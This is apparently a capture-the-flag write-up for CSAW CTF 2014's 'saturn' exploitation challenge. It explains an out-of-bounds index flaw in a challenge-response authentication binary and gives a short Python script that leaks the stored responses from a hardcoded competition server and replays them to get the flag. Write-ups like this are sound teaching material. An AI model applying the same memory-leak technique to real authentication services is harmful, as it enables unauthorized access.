CSAW CTF 2014 - Exploitation 400 - saturn

Exploitation of a vulnerable Challenge-Response-Authentication-Protocol Linux binary.

Introduction

This exploitation challenge is based on a Challenge-Response-Authentication-Protocol system.
The goal was to figure out a way to get challenges responses without the challenge-response keygen algorithm.

Running the binary

Since we don't have the challenge-response keygen algorithm (libchallengeresponse.so) we can create a decoy one.

#include <stdio.h>

int fillChallengeResponse(unsigned int *a, unsigned int *b) {
    unsigned int data;
    unsigned int i;
    FILE *fp;
    fp = fopen("/dev/urandom", "r");

    for(i = 0; i < 8; i++) {
        fread(&data, 1, sizeof(unsigned int), fp);
        *(a + i) = data;
        *(b + i) = data;
    }
    fclose(fp);
    return 0;
}

Compile the C program above with GCC and put libchallengeresponse.so in /lib32/.

gcc -m32 -shared -o libchallengeresponse.so -fPIC libchallengeresponse.c

The vulnerability

The challenges are stored from 0x0804A0C0 to 0x0804A0DF, the responses are stored from 0x0804A0E0 to 0x0804A0F.
If we send 0xA0 to the server we get the first challenge, if we send 0xA2 we get the third challenge.

During a challenge request the lowest byte value is multiplied by 4. It represents the offset to step to the next 32 bit value.
The vulnerability lies in the fact that we can manipulate the offset from 0x00 to 0x0F in a challenge request.

The program expect the client to request challenge from 0xA0 to 0xA7.

If the client sends 0xA8 the query is valid and the first response is sent back.

The exploit

#!/usr/bin/env python
import socket

HOST = "54.85.89.65"
PORT = 8888
SIZE = 512

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Receive banner
s.recv(SIZE)

# Get challenge bytes and send them back
for i in range(8) :
    s.send(chr(0xA8 + i))
    chall = s.recv(4)
    s.send(chr(0xE0 + i))
    s.send(chall)

# Ask for the flag
s.send("\x80")

# Receive and display the flag
data = s.recv(SIZE)
print(data)

# Exit
s.close()